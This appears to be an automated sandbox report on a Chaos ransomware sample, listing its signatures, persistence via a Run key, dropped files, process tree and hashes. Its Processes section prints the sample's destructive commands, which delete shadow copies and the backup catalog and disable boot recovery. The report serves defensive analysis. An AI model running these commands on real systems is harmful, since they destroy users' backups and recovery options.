Malware Analysis Report

2024-10-19 07:15

Sample ID 240904-sb5fxstfka
Target c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe
SHA256 c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6
Tags
chaos defense_evasion discovery evasion execution impact persistence pyinstaller ransomware spyware stealer credential_access
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6

Threat Level: Known bad

The file c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe was found to be: Known bad.

Malicious Activity Summary

chaos defense_evasion discovery evasion execution impact persistence pyinstaller ransomware spyware stealer credential_access

Chaos Ransomware

Chaos

Renames multiple (191) files with added filename extension

Renames multiple (183) files with added filename extension

Credentials from Password Stores: Credentials from Web Browsers

Deletes shadow copies

Modifies boot configuration data using bcdedit

Disables Task Manager via registry modification

Deletes backup catalog

Unsecured Credentials: Credentials In Files

Drops startup file

Reads user/profile data of web browsers

Loads dropped DLL

Checks computer location settings

Executes dropped EXE

Drops desktop.ini file(s)

Looks up external IP address via web service

Accesses cryptocurrency files/wallets, possible credential harvesting

Legitimate hosting services abused for malware hosting/C2

Adds Run key to start application

Sets desktop wallpaper using registry

System Location Discovery: System Language Discovery

Browser Information Discovery

Detects Pyinstaller

Unsigned PE

Enumerates physical storage devices

Uses Volume Shadow Copy service COM API

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: EnumeratesProcesses

Opens file in notepad (likely ransom note)

Modifies registry class

Suspicious use of AdjustPrivilegeToken

Uses Task Scheduler COM API

Suspicious use of WriteProcessMemory

Interacts with shadow copies

Checks SCSI registry key(s)

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-04 14:58

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-04 14:58

Reported

2024-09-04 15:00

Platform

win7-20240903-en

Max time kernel

121s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe"

Signatures

Chaos

ransomware chaos

Chaos Ransomware

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (191) files with added filename extension

ransomware

Deletes backup catalog

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\wbadmin.exe N/A

Disables Task Manager via registry modification

evasion

Drops startup file

Description Indicator Process Target
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\read_it.txt C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Reads user/profile data of web browsers

spyware stealer

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\UpdateTask = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe" C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Videos\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Videos\Sample Videos\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Favorites\Links for United States\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Music\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Games\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Favorites\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Pictures\Sample Pictures\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\F17E26FP\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2DZXJZH2\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Searches\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\TUVLNS83\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Documents\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Music\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification F:\$RECYCLE.BIN\S-1-5-21-2872745919-2748461613-2989606286-1000\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Downloads\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Music\Sample Music\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Downloads\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\HUSZWRNT\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\History\History.IE5\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8YJ7JBZ2\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Pictures\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Recorded TV\Sample Media\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Videos\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Contacts\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D3UCK9EB\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Desktop\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Desktop\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Pictures\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\History\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Documents\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\OIPA882W\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Ringtones\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Recorded TV\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\axafkr56d.jpg" C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\NOTEPAD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wbengine.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\wbengine.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wbengine.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 596 wrote to memory of 2904 N/A C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe C:\Users\Admin\AppData\Local\Temp\mai.exe
PID 596 wrote to memory of 2904 N/A C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe C:\Users\Admin\AppData\Local\Temp\mai.exe
PID 596 wrote to memory of 2904 N/A C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe C:\Users\Admin\AppData\Local\Temp\mai.exe
PID 596 wrote to memory of 2904 N/A C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe C:\Users\Admin\AppData\Local\Temp\mai.exe
PID 596 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe C:\Users\Admin\AppData\Local\Temp\main.exe
PID 596 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe C:\Users\Admin\AppData\Local\Temp\main.exe
PID 596 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe C:\Users\Admin\AppData\Local\Temp\main.exe
PID 596 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe C:\Users\Admin\AppData\Local\Temp\main.exe
PID 2904 wrote to memory of 2292 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Users\Admin\AppData\Local\Temp\mai.exe
PID 2904 wrote to memory of 2292 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Users\Admin\AppData\Local\Temp\mai.exe
PID 2904 wrote to memory of 2292 N/A C:\Users\Admin\AppData\Local\Temp\mai.exe C:\Users\Admin\AppData\Local\Temp\mai.exe
PID 2976 wrote to memory of 108 N/A C:\Users\Admin\AppData\Local\Temp\main.exe C:\Users\Admin\AppData\Roaming\svchost.exe
PID 2976 wrote to memory of 108 N/A C:\Users\Admin\AppData\Local\Temp\main.exe C:\Users\Admin\AppData\Roaming\svchost.exe
PID 2976 wrote to memory of 108 N/A C:\Users\Admin\AppData\Local\Temp\main.exe C:\Users\Admin\AppData\Roaming\svchost.exe
PID 108 wrote to memory of 2804 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\System32\cmd.exe
PID 108 wrote to memory of 2804 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\System32\cmd.exe
PID 108 wrote to memory of 2804 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\System32\cmd.exe
PID 2804 wrote to memory of 2576 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2804 wrote to memory of 2576 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2804 wrote to memory of 2576 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2804 wrote to memory of 3032 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2804 wrote to memory of 3032 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2804 wrote to memory of 3032 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 108 wrote to memory of 1708 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\System32\cmd.exe
PID 108 wrote to memory of 1708 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\System32\cmd.exe
PID 108 wrote to memory of 1708 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\System32\cmd.exe
PID 1708 wrote to memory of 1464 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1708 wrote to memory of 1464 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1708 wrote to memory of 1464 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1708 wrote to memory of 1060 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1708 wrote to memory of 1060 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1708 wrote to memory of 1060 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 108 wrote to memory of 2196 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\System32\cmd.exe
PID 108 wrote to memory of 2196 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\System32\cmd.exe
PID 108 wrote to memory of 2196 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\System32\cmd.exe
PID 2196 wrote to memory of 2524 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\wbadmin.exe
PID 2196 wrote to memory of 2524 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\wbadmin.exe
PID 2196 wrote to memory of 2524 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\wbadmin.exe
PID 108 wrote to memory of 2496 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\system32\NOTEPAD.EXE
PID 108 wrote to memory of 2496 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\system32\NOTEPAD.EXE
PID 108 wrote to memory of 2496 N/A C:\Users\Admin\AppData\Roaming\svchost.exe C:\Windows\system32\NOTEPAD.EXE

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe

"C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe"

C:\Users\Admin\AppData\Local\Temp\mai.exe

"C:\Users\Admin\AppData\Local\Temp\mai.exe"

C:\Users\Admin\AppData\Local\Temp\main.exe

"C:\Users\Admin\AppData\Local\Temp\main.exe"

C:\Users\Admin\AppData\Local\Temp\mai.exe

"C:\Users\Admin\AppData\Local\Temp\mai.exe"

C:\Users\Admin\AppData\Roaming\svchost.exe

"C:\Users\Admin\AppData\Roaming\svchost.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete

C:\Windows\system32\vssadmin.exe

vssadmin delete shadows /all /quiet

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled no

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet

C:\Windows\system32\wbadmin.exe

wbadmin delete catalog -quiet

C:\Windows\system32\wbengine.exe

"C:\Windows\system32\wbengine.exe"

C:\Windows\System32\vdsldr.exe

C:\Windows\System32\vdsldr.exe -Embedding

C:\Windows\System32\vds.exe

C:\Windows\System32\vds.exe

C:\Windows\system32\NOTEPAD.EXE

"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\read_it.txt

Network

N/A

Files

\Users\Admin\AppData\Local\Temp\mai.exe

MD5 2820bd39a045f5f3971f3bd1d9067306
SHA1 de9651c54a35d659d933ef4fead0a22a3dcd198b
SHA256 228b8906a5245a2d8cada15f7c46f8d434f97c31bd2389cbe82b318edd7f74b0
SHA512 1c197ffde7dacb0f162f464eb7020421a663c2d6837ff1ad4842ed31a950a3eec6330c430dfdd144ab6aeca99815483a315ae486cba621407cde8485de690b89

\Users\Admin\AppData\Local\Temp\main.exe

MD5 840eb9e50c131322605c5ea90ae1312f
SHA1 fc9548f91123e05196dad6bcab11d29abd01500c
SHA256 f9600b1b06588e3815a55eb81e35289f7b9a5749ae623550734c5f3d8c04e038
SHA512 8e37c5890089bf1997e1c4c777a92f71eae9a86f11d1fb3cb3671dfa8c15c4365ed1f8811e6aae4d31f0fe73c1960b142f684a5274f086491f7d238a79313ffe

memory/2976-136-0x000007FEF5BD3000-0x000007FEF5BD4000-memory.dmp

memory/2976-142-0x0000000000230000-0x0000000000382000-memory.dmp

\Users\Admin\AppData\Local\Temp\_MEI29042\ucrtbase.dll

MD5 8e7680a8d07c3c4159241d31caaf369c
SHA1 62fe2d4ae788ee3d19e041d81696555a6262f575
SHA256 36cc22d92a60e57dee394f56a9d1ed1655ee9db89d2244a959005116a4184d80
SHA512 9509f5b07588a08a490f4c3cb859bbfe670052c1c83f92b9c3356afa664cb500364e09f9dafac7d387332cc52d9bb7bb84ceb1493f72d4d17ef08b9ee3cb4174

\Users\Admin\AppData\Local\Temp\_MEI29042\api-ms-win-core-localization-l1-2-0.dll

MD5 71457fd15de9e0b3ad83b4656cad2870
SHA1 c9c2caf4f9e87d32a93a52508561b4595617f09f
SHA256 db970725b36cc78ef2e756ff4b42db7b5b771bfd9d106486322cf037115bd911
SHA512 a10fcf1d7637effff0ae3e3b4291d54cc7444d985491e82b3f4e559fbb0dbb3b6231a8c689ff240a5036a7acae47421cda58aaa6938374d4b84893cce0077bc8

C:\Users\Admin\AppData\Local\Temp\_MEI29042\api-ms-win-core-file-l1-2-0.dll

MD5 49e3260ae3f973608f4d4701eb97eb95
SHA1 097e7d56c3514a3c7dc17a9c54a8782c6d6c0a27
SHA256 476fbad616e20312efc943927ade1a830438a6bebb1dd1f83d2370e5343ea7af
SHA512 df22cf16490faa0dc809129ca32eaf1a16ec665f9c5411503ce0153270de038e5d3be1e0e49879a67043a688f6c42bdb5a9a6b3cea43bf533eba087e999be653

\Users\Admin\AppData\Local\Temp\_MEI29042\api-ms-win-core-processthreads-l1-1-1.dll

MD5 e93816c04327730d41224e7a1ba6dc51
SHA1 3f83b9fc6291146e58afce5b5447cd6d2f32f749
SHA256 ca06ccf12927ca52d8827b3a36b23b6389c4c6d4706345e2d70b895b79ff2ec8
SHA512 beaab5a12bfc4498cdf67d8b560ef0b0e2451c5f4634b6c5780a857666fd14f8a379f42e38be1beefa1c3578b2df913d901b271719ac6794bfaab0731bb77bca

C:\Users\Admin\AppData\Local\Temp\_MEI29042\api-ms-win-core-timezone-l1-1-0.dll

MD5 acf40d5e6799231cf7e4026bad0c50a0
SHA1 8f0395b7e7d2aac02130f47b23b50d1eab87466b
SHA256 64b5b95fe56b6df4c2d47d771bec32bd89267605df736e08c1249b802d6d48d1
SHA512 f66a61e89231b6dc95b26d97f5647da42400bc809f70789b9afc00a42b94ea3487913860b69a1b0ee59ed5eb62c3a0cade9e21f95da35fdd42d8ce51c5507632

C:\Users\Admin\AppData\Local\Temp\_MEI29042\api-ms-win-core-file-l2-1-0.dll

MD5 7f14fd0436c066a8b40e66386ceb55d0
